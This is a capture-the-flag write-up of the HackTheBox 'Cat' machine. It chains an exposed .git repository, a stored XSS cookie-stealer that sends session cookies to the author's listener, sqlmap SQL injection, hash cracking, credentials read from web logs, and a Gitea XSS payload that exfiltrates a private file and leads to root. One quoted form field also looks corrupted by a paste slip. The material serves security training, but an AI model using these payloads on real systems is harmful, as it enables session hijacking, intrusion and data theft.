HackTheBox - Cat

— Written by — 15 min read
cat-hackthebox

‘Cat’ box from HackTheBox has just been retired, and it was a solid Medium challenge. The whole experience is a great exercise in the application of Cross-Site Scripting. While it’s easy to recognize the individual vulnerabilities, the real strength of this box is how it strings these textbook attacks into a logical and applicable chain. There’s a good flow to it, where each step you take unlocks the next part. It’s a good example of how classic attacks can be remixed into an experience that’s both fun and instructive.

Tl;Dr: To get the user flag, you begin by finding an exposed /.git directory. Dumping the repository with GitTools reveals the web application’s PHP source code. A review of the code uncovers an admin-only SQL injection and a stored XSS vulnerability via username registration. You exploit the XSS by registering a malicious username, which executes when the admin (axel) views your cat submission, stealing their session cookie. Using this cookie, you exploit the SQL injection with sqlmap to dump the SQLite database, obtaining MD5 password hashes. You crack rosa‘s hash and gain initial SSH access. Pivot to axel whom cleartext password in visible the Apache access logs. SSHing as axel grants you the user flag.

For the root flag, after logging in as axel, an email in /var/mail/axel points to an internal Gitea instance (version 1.22.0) and mentions a user jobert who reviews repositories. You identify a known Stored XSS vulnerability (CVE-2024-6886) in this Gitea version. You create a malicious repository with an XSS payload in its description designed to fetch the content of an internal PHP file (mentioned in the email) and exfiltrate it. After emailing jobert a link to this repository, the XSS executes, sending you the PHP file’s content, which contains hardcoded Basic Authentication credentials. You then use these credentials to su to root, obtaining the root flag.

Alright! Let’s get into the details now!


First things first, let’s add the box’s IP to our /etc/hosts file for easier access.

1
[hg8@archbook ~]$ echo "10.10.11.53 cat.htb" >> /etc/hosts

With that set up, we’re ready to begin.

Initial Access (User Flag)

Reconnaissance: Mapping the Attack Surface

As with any target, we’ll start with a classic nmap scan to identify open ports and running services. This gives us our initial map of the attack surface.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
[hg8@archbook ~]$ nmap -sV -sT -sC cat.htb
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-16 12:45 CEST
Nmap scan report for cat.htb (10.10.11.53)
Host is up (0.031s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 96:2d:f5:c6:f6:9f:59:60:e5:65:85:ab:49:e4:76:14 (RSA)
| 256 9e:c4:a4:40:e9:da:cc:62:d1:d6:5a:2f:9e:7b:d4:aa (ECDSA)
|_ 256 6e:22:2a:6a:6d:eb:de:19:b7:16:97:c2:7e:89:29:d5 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Best Cat Competition
|_http-server-header: Apache/2.4.41 (Ubuntu)
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.12 seconds

The scan reveals two open ports:

  • Port 22: OpenSSH 8.2p1, our usual target for shell access once we find credentials.
  • Port 80: An Apache web server hosting a “Best Cat Competition” website. This will be our primary entry point.

Navigating to http://cat.htb presents a simple website where users can register and log in.

cat homepage

After creating an account and logging in, a new page becomes available that allows users to submit a cat to the competition. This form includes a file upload feature for a picture, which is always a feature of interest for potential vulnerabilities.

cat registration

Before diving into the web application itself, let’s run a directory bruteforce with gobuster to see if we can find any hidden files or folders.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
[hg8@archbook ~]$ gobuster dir -u "http://cat.htb" -w /usr/share/seclists/Discovery/Web-Content/big.txt

===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://cat.htb
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/big.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htaccess (Status: 403) [Size: 272]
/.htpasswd (Status: 403) [Size: 272]
/.git (Status: 301) [Size: 301] [--> http://cat.htb/.git/]

Uncovering the Source Code via Git Repository Disclosure

The gobuster scan immediately yields a critical finding: a publicly exposed /.git directory. This misconfiguration allows us to download the entire history and source code of the web application. You can read more about this common vulnerability here: “Don’t publicly expose .git or how we downloaded your website’s sourcecode

Using the GitTools suite, we can dump the repository contents.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
[hg8@archbook ~]$ bash gitdumper.sh http://cat.htb/.git/ ~/htb/cat
###########
# GitDumper is part of https://github.com/internetwache/GitTools
#
# Developed and maintained by @gehaxelt from @internetwache
#
# Use at your own risk. Usage might be illegal in certain circumstances.
# Only for educational purposes!
###########


[*] Destination folder does not exist
[+] Creating /home/hg8/htb/cat/.git/
[+] Downloaded: HEAD
[-] Downloaded: objects/info/packs
[+] Downloaded: description
[+] Downloaded: COMMIT_EDITMSG
[+] Downloaded: index
[-] Downloaded: packed-refs
[+] Downloaded: refs/heads/master
[-] Downloaded: refs/remotes/origin/HEAD
[-] Downloaded: refs/stash
[+] Downloaded: logs/HEAD
[+] Downloaded: logs/refs/heads/master
[-] Downloaded: logs/refs/remotes/origin/HEAD
[...]

With the repository downloaded, we use the extractor.sh script to rebuild the source files.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
[hg8@archbook ~]$ bash extractor.sh ~/htb/cat ~/htb/cat
###########
# Extractor is part of https://github.com/internetwache/GitTools
#
# Developed and maintained by @gehaxelt from @internetwache
#
# Use at your own risk. Usage might be illegal in certain circumstances.
# Only for educational purposes!
###########
[+] Found commit: 8c2c2701eb4e3c9a42162cfb7b681b6166287fd5
[+] Found file: /home/hg8/htb/cat/0-8c2c2701eb4e3c9a42162cfb7b681b6166287fd5/accept_cat.php
[+] Found file: /home/hg8/htb/cat/0-8c2c2701eb4e3c9a42162cfb7b681b6166287fd5/admin.php
[+] Found file: /home/hg8/htb/cat/0-8c2c2701eb4e3c9a42162cfb7b681b6166287fd5/config.php
[+] Found file: /home/hg8/htb/cat/0-8c2c2701eb4e3c9a42162cfb7b681b6166287fd5/contest.php
[+] Found folder: /home/hg8/htb/cat/0-8c2c2701eb4e3c9a42162cfb7b681b6166287fd5/css
[+] Found file: /home/hg8/htb/cat/0-8c2c2701eb4e3c9a42162cfb7b681b6166287fd5/css/styles.css
[+] Found file: /home/hg8/htb/cat/0-8c2c2701eb4e3c9a42162cfb7b681b6166287fd5/delete_cat.php
[+] Found folder: /home/hg8/htb/cat/0-8c2c2701eb4e3c9a42162cfb7b681b6166287fd5/img
[+] Found file: /home/hg8/htb/cat/0-8c2c2701eb4e3c9a42162cfb7b681b6166287fd5/img/cat1.jpg
[+] Found file: /home/hg8/htb/cat/0-8c2c2701eb4e3c9a42162cfb7b681b6166287fd5/img/cat2.png
[+] Found file: /home/hg8/htb/cat/0-8c2c2701eb4e3c9a42162cfb7b681b6166287fd5/img/cat3.webp
[+] Found folder: /home/hg8/htb/cat/0-8c2c2701eb4e3c9a42162cfb7b681b6166287fd5/img_winners
[+] Found file: /home/hg8/htb/cat/0-8c2c2701eb4e3c9a42162cfb7b681b6166287fd5/img_winners/cat1.jpg
[+] Found file: /home/hg8/htb/cat/0-8c2c2701eb4e3c9a42162cfb7b681b6166287fd5/img_winners/cat2.png
[+] Found file: /home/hg8/htb/cat/0-8c2c2701eb4e3c9a42162cfb7b681b6166287fd5/img_winners/cat3.webp
[+] Found file: /home/hg8/htb/cat/0-8c2c2701eb4e3c9a42162cfb7b681b6166287fd5/index.php
[+] Found file: /home/hg8/htb/cat/0-8c2c2701eb4e3c9a42162cfb7b681b6166287fd5/join.php
[+] Found file: /home/hg8/htb/cat/0-8c2c2701eb4e3c9a42162cfb7b681b6166287fd5/logout.php
[+] Found file: /home/hg8/htb/cat/0-8c2c2701eb4e3c9a42162cfb7b681b6166287fd5/view_cat.php
[+] Found file: /home/hg8/htb/cat/0-8c2c2701eb4e3c9a42162cfb7b681b6166287fd5/vote.php
[+] Found file: /home/hg8/htb/cat/0-8c2c2701eb4e3c9a42162cfb7b681b6166287fd5/winners.php
[+] Found folder: /home/hg8/htb/cat/0-8c2c2701eb4e3c9a42162cfb7b681b6166287fd5/winners
[+] Found file: /home/hg8/htb/cat/0-8c2c2701eb4e3c9a42162cfb7b681b6166287fd5/winners/cat_report_20240831_173129.php

Analyzing the Source Code

Having access to the source code is a massive advantage. Our review uncovers several key pieces of information. First, we identify the admin’s username in admin.php.

1
2
3
4
5
6
7
8
9
10
11
12
[hg8@archbook ~]$ cat admin.php
<?php
session_start();

include 'config.php';

// Check if the user is logged in
if (!isset($_SESSION['username']) || $_SESSION['username'] !== 'axel') {
header("Location: /join.php");
exit();
}
[...]

The admin user is axel.

SQL Injection Discovery

Further review reveals a classic SQL injection vulnerability in accept_cat.php. The catName POST parameter is directly concatenated into the SQL query without any sanitization or use of prepared statements.

1
2
3
4
5
6
7
8
9
10
11
12
13
[hg8@archbook ~]$ cat accept_cat.php
<?php
include 'config.php';
session_start();

if (isset($_SESSION['username']) && $_SESSION['username'] === 'axel') {
if ($_SERVER["REQUEST_METHOD"] == "POST") {
if (isset($_POST['catId']) && isset($_POST['catName'])) {
$cat_name = $_POST['catName'];
$catId = $_POST['catId'];
$sql_insert = "INSERT INTO accepted_cats (name) VALUES ('$cat_name')";
$pdo->exec($sql_insert);
[...]

However, the code explicitly checks if the logged-in user is axel. This means we can’t exploit the SQLi directly. Classic pivot scenario: if we can’t exploit the vulnerability ourselves, maybe we can force the admin to do it for us. This leads us to hunt for a Cross-Site Scripting (XSS) vulnerability.

Stored XSS via Username Registration

Reviewing the application’s code again, we find a stored XSS vulnerability. The join.php file takes a username from a GET request during registration:

1
2
3
4
5
6
7
8
9
10
[hg8@archbook ~]$ cat join.php
[...]
// Registration process
if ($_SERVER["REQUEST_METHOD"] == "GET" && isset($_GET['registerForm'])) {
$username = $_GET['username'];
$email = $_GET['email'];
$password = md5($_GET['password']);

$stmt_check = $pdo->prepare("SELECT * FROM users WHERE username = :username OR email = :email");
$stmt_check->execute([':username' => $username, ':email' => $email]);

This username is then rendered without any output encoding in view_cat.php when displaying the owner of a cat. This is our entry point.

1
2
3
4
5
6
7
8
9
10
11
12
// Prepare and execute the query
// $query = "SELECT cats.*, users.username FROM cats JOIN users ON cats.owner_username = users.username WHERE cat_id = :cat_id";
$statement = $pdo->prepare($query);
$statement->bindParam(':cat_id', $cat_id, PDO::PARAM_INT);
$statement->execute();

// Fetch cat data from the database
$cat = $statement->fetch(PDO::FETCH_ASSOC);
[...]

<strong>Owner:</strong> <?php echo $cat['username']; ?><br>
[...]

Chaining all together, here is our plan:

  1. Register a new user with an XSS payload as the username.
  2. Submit a cat to the competition with this new user.
  3. When the admin axel views our submission, the XSS payload will execute in his browser.
  4. The payload will steal his session cookie and send it to our server.
  5. We will use his cookie to login as him and exploit the SQL injection.

Let’s register an account with a payload designed to steal the document.cookie:
<img src=x onerror="fetch('http://10.10.14.36:8000/?c='+document.cookie);">

cat XSS Payload

We start a simple Python web server to listen for the incoming cookie.

1
2
[hg8@archbook ~]$ python -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

After submitting a new cat, we wait for the admin to review it. Shortly after, we receive a connection with axel‘s session ID.

1
2
3
[hg8@archbook ~]$ python -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.11.53 - - [16/Jun/2025 18:37:29] "GET /?c=PHPSESSID=9c0s8ld2gm6eh5sj19o51bildi HTTP/1.1" 200 -

Success! We can now use this cookie in our browser (via developer tools) to gain access to the admin panel.

Database Extraction with SQLMap

Now authenticated as axel, we can exploit the SQL injection in accept_cat.php. To expedite the process, we’ll use sqlmap. We know from config.php that the database is SQLite, which we can provide as a hint to sqlmap.

First, let’s list the tables in the database.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
[hg8@archbook ~]$ sqlmap -u "http://cat.htb/accept_cat.php" \
--data "catId=8585&catName=hg8" \
-p catName \
--cookie="PHPSESSID=9c0s8ld2gm6eh5sj19o51bildi" \
--level=5 --risk=3 --dbms=SQLite --tables

___
__H__
___ ___[)]_____ ___ ___ {1.9.4#stable}
|_ -| . ['] | .'| . |
|___|_ ["]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org


[18:46:58] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: catName (POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: catId=8585&catName=hg8'||(SELECT CHAR(88,80,71,69) WHERE 2172=2172 AND 8002=8002)||'

Type: time-based blind
Title: SQLite > 2.0 AND time-based blind (heavy query)
Payload: catId=8585&catName=hg8'||(SELECT CHAR(74,84,104,66) WHERE 3167=3167 AND 1566=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2)))))||'
---

[4 tables]
+-----------------+
| accepted_cats |
| cats |
| sqlite_sequence |
| users |
+-----------------+

The users table looks most promising. Let’s dump its contents.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
[hg8@archbook ~]$ sqlmap -u "http://cat.htb/accept_cat.php" \
--data "catId=8585&catName=hg8" \
-p catName \
--cookie="PHPSESSID=9c0s8ld2gm6eh5sj19o51bildi" \
--level=5 --risk=3 --dbms=SQLite -T "users" --dump
Database: <current>
Table: users
[12 entries]
+---------+-------------------------------+----------------------------------+-------------------+
| user_id | email | password | username |
+---------+-------------------------------+----------------------------------+-------------------+
| 1 | axel2017@gmail.com | d1bbba3670feb9435c9841e46e60ee2f | axel |
| 2 | rosamendoza485@gmail.com | ac369922d560f17d6eeb8b2c7dec498c | rosa |
| 3 | robertcervantes2000@gmail.com | 42846631708f69c00ec0c0a8aa4a92ad | robert |
| 4 | fabiancarachure2323@gmail.com | 39e153e825c4a3d314a0dc7f7475ddbe | fabian |
| 5 | jerrysonC343@gmail.com | 781593e060f8d065cd7281c5ec5b4b86 | jerryson |
| 6 | larryP5656@gmail.com | 1b6dce240bbfbc0905a664ad199e18f8 | larry |
| 7 | royer.royer2323@gmail.com | c598f6b844a36fa7836fba0835f1f6 | royer |
| 8 | peterCC456@gmail.com | e41ccefa439fc454f7eadbf1f139ed8a | peter |
| 9 | angel234g@gmail.com | 24a8ec003ac2e1b3c5953a6f95f8f565 | angel |
| 10 | jobert2020@gmail.com | 88e4dceccd48820cf77b5cf6c08698ad | jobert |
+---------+-------------------------------+----------------------------------+------------------+

Cracking Passwords and Pivoting Users

The source code review revealed that the passwords are a simple MD5 hash without any salt. This makes them vulnerable to cracking against a common password list like rockyou.txt. We use hashcat to crack the hashes we’ve dumped.

1
2
3
4
[hg8@archbook ~]$ hashcat -m 0 -a 0 rosa.hash /usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt
hashcat (v6.2.6) starting

ac369922d560f17d6eeb8b2c7dec498c:soyunaprincesarosa

We successfully crack the password for the user rosa. Let’s see if we can use these credentials to SSH into the box.

1
2
3
4
ssh rosa@cat.htb
Last login: Mon Jun 16 11:26:22 2025 from 10.10.14.62
rosa@cat:~$ ls
rosa@cat:~$

We’re in! However, the user flag is not in rosa‘s home directory. This means we need to pivot to another user, likely axel.

From Rosa to Axel via Log Analysis

At this point, it’s time for some internal enumeration. I couldn’t find anything of interest in rosa account so I went back to the source code, as it’s often a source of more clues. I noticed something I’d overlooked: the login and registration forms use the GET method.

1
2
3
4
5
6
7
8
9
10
[hg8@archbook ~]$ cat join.php
[...]
<form id="loginForm" method="get">
<label for="loginUsername">Username:</label>
<input type="text" id="loginUsername" name="loginUsername" required>
<label for="loginPassword">Password:</label>
<input type="password" id="loginPassword" name="cat /var/log/apache2/access.log" required>
<input type="submit" name="loginForm" value="Login">
</form>
[...]

When a form uses GET, the submitted data, including usernames and passwords, is appended to the URL as query parameters. This data is often logged in the web server’s access logs. The server is running Apache2, and as user rosa, we have permission to read its logs.

1
2
3
rosa@cat:/tmp$ cat /var/log/apache2/access.log | grep loginPassword
[...]
127.0.0.1 - - [16/Jun/2025:17:12:04 +0000] "GET /join.php?loginUsername=axel&loginPassword=aNdZwgC4tI9gnVXv_e3Q&loginForm=Login HTTP/1.1" 302 329 "http://cat.htb/join.php" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:134.0) Gecko/20100101 Firefox/134.0"

Bingo! We’ve found axel‘s cleartext password in the Apache logs. Let’s use it to SSH in as axel.

1
2
3
4
5
6
7
8
[hg8@archbook ~]$ ssh axel@cat.htb
axel@cat.htb's password:
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-204-generic x86_64)

You have mail.
Last login: Mon Jun 16 11:44:54 2025 from 127.0.0.1
axel@cat:~$ cat user.txt
7f2cXXXXXXXXXXXXXXXXXc5be96a

And we have the user flag!

PrivEsc to Root (Root Flag)

Reconnaissance: Following the Breadcrumbs

Immediately upon logging in as axel, the Message of The Day (MOTD) informs us: You have mail.. This is our first clue for privilege escalation. Let’s read the mail.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
axel@cat:/tmp$ cat /var/mail/axel
From rosa@cat.htb Sat Sep 28 04:51:50 2024
Return-Path: <rosa@cat.htb>
Received: from cat.htb (localhost [127.0.0.1])
by cat.htb (8.15.2/8.15.2/Debian-18) with ESMTP id 48S4pnXk001592
for <axel@cat.htb>; Sat, 28 Sep 2024 04:51:50 GMT
Received: (from rosa@localhost)
by cat.htb (8.15.2/8.15.2/Submit) id 48S4pnlT001591
for axel@localhost; Sat, 28 Sep 2024 04:51:49 GMT
Date: Sat, 28 Sep 2024 04:51:49 GMT
From: rosa@cat.htb
Message-Id: <202409280451.48S4pnlT001591@cat.htb>
Subject: New cat services

Hi Axel,

We are planning to launch new cat-related web services, including a cat care website and other projects. Please send an email to jobert@localhost with information about your Gitea repository. Jobert will check if it is a promising service that we can develop.

Important note: Be sure to include a clear description of the idea so that I can understand it properly. I will review the whole repository.

From rosa@cat.htb Sat Sep 28 05:05:28 2024
Return-Path: <rosa@cat.htb>
Received: from cat.htb (localhost [127.0.0.1])
by cat.htb (8.15.2/8.15.2/Debian-18) with ESMTP id 48S55SRY002268
for <axel@cat.htb>; Sat, 28 Sep 2024 05:05:28 GMT
Received: (from rosa@localhost)
by cat.htb (8.15.2/8.15.2/Submit) id 48S55Sm0002267
for axel@localhost; Sat, 28 Sep 2024 05:05:28 GMT
Date: Sat, 28 Sep 2024 05:05:28 GMT
From: rosa@cat.htb
Message-Id: <202409280505.48S55Sm0002267@cat.htb>
Subject: Employee management

We are currently developing an employee management system. Each sector administrator will be assigned a specific role, while each employee will be able to consult their assigned tasks. The project is still under development and is hosted in our private Gitea. You can visit the repository at: http://localhost:3000/administrator/Employee-management/. In addition, you can consult the README file, highlighting updates and other important details, at: http://localhost:3000/administrator/Employee-management/raw/branch/main/README.md.

The email points to an internal Gitea instance running on localhost:3000 and mentions a user named jobert who reviews repositories. To access this service from our machine, we can set up SSH port forwarding with a jump proxy:

1
[hg8@archbook ~]$ ssh -L 3000:127.0.0.1:3000 -J hg8@192.168.0.4 axel@cat.htb

This command forwards our local port 3000 to the server’s port 3000, allowing us to browse http://localhost:3000 on our machine as if we were on the server.

Gitea Enumeration and Vulnerability Discovery

Navigating to the repository mentioned in the email results in a 404 error, likely due to a lack of permissions.

cat gittea 404

However, we can log in to the Gitea instance as axel using his system password. While exploring the interface, we find the Gitea version number in the footer: Version: 1.22.0.

Exploiting Gitea via Stored XSS

A quick search for vulnerabilities in Gitea 1.22.0 leads us to CVE-2024-6886, a stored XSS vulnerability. The exploit can be found here: Exploit-DB.

The plan is to leverage this XSS to read files from the GiTea repository. The email mentioned that jobert reviews repositories, and that he will “review the whole repository.” This suggests an user who will click links. We can craft a malicious link that, when visited, will fetch the content of a file from the internal Gitea instance and exfiltrate it to our listener.

We will create a new repository and place the malicious payload in its description. This payload attempts to read the index.php file from the private Employee-management repository and sends its content to our server.

1
<a href="javascript:fetch('http://localhost:3000/administrator/Employee-management/raw/branch/main/index.php').then(data => data.text()).then(data => fetch('http://10.10.14.36:8000/?data=' + encodeURIComponent(data)));">Hey Jobert, check out this repository</a>

gitea xss description

gitea xss jobert

Following the instructions in the email, we send a mail to jobert with a link to our new repository.

1
axel@cat:~$ echo -e "Subject: New repository to review please - http://localhost:3000/axel/hg8" | sendmail jobert@localhost

A few moments later, our Python web server receives the contents of the index.php file.

1
2
3
[hg8@archbook ~]$ python -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.11.53 - - [16/Jun/2025 20:11:53] "GET /?data=%3C%3Fphp%0A%24valid_username%20%3D%20%27admin%27%3B%0A%24valid_password%20%3D%20%27IKw75eR0MR7CMIxhH0%27%3B%0A%0Aif%20(!isset(%24_SERVER%5B%27PHP_AUTH_USER%27%5D)%20%7C%7C%20!isset(%24_SERVER%5B%27PHP_AUTH_PW%27%5D)%20%7C%7C%20%0A%20%20%20%20%24_SERVER%5B%27PHP_AUTH_USER%27%5D%20!%3D%20%24valid_username%20%7C%7C%20%24_SERVER%5B%27PHP_AUTH_PW%27%5D%20!%3D%20%24valid_password)%20%7B%0A%20%20%20%20%0A%20%20%20%20header(%27WWW-Authenticate%3A%20Basic%20realm%3D%22Employee%20Management%22%27)%3B%0A%20%20%20%20header(%27HTTP%2F1.0%20401%20Unauthorized%27)%3B%0A%20%20%20%20exit%3B%0A%7D%0A%0Aheader(%27Location%3A%20dashboard.php%27)%3B%0Aexit%3B%0A%3F%3E%0A%0A HTTP/1.1" 200 -

After URL-decoding the exfiltrated data, we get the source code, which contains hardcoded credentials.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
$valid_username = 'admin';
$valid_password = 'IKw75eR0MR7CMIxhH0';

if (!isset($_SERVER['PHP_AUTH_USER']) || !isset($_SERVER['PHP_AUTH_PW']) ||
$_SERVER['PHP_AUTH_USER'] != $valid_username || $_SERVER['PHP_AUTH_PW'] != $valid_password) {

header('WWW-Authenticate: Basic realm="Employee Management"');
header('HTTP/1.0 401 Unauthorized');
exit;
}

header('Location: dashboard.php');
exit;
?>

The password IKw75eR0MR7CMIxhH0 looks promising. While it’s associated with a web username admin, it’s common for such passwords to be reused for the root user. Let’s try it.

1
2
3
4
axel@cat:~$ su -
Password:
root@cat:~# cat root.txt
5a1XXXXXXXXXXXXXae957f

And we are root!


That’s it folks! As always do not hesitate to contact me for any questions or feedbacks!

See you next time ;)

-hg8



CTFHackTheBoxMedium Box
,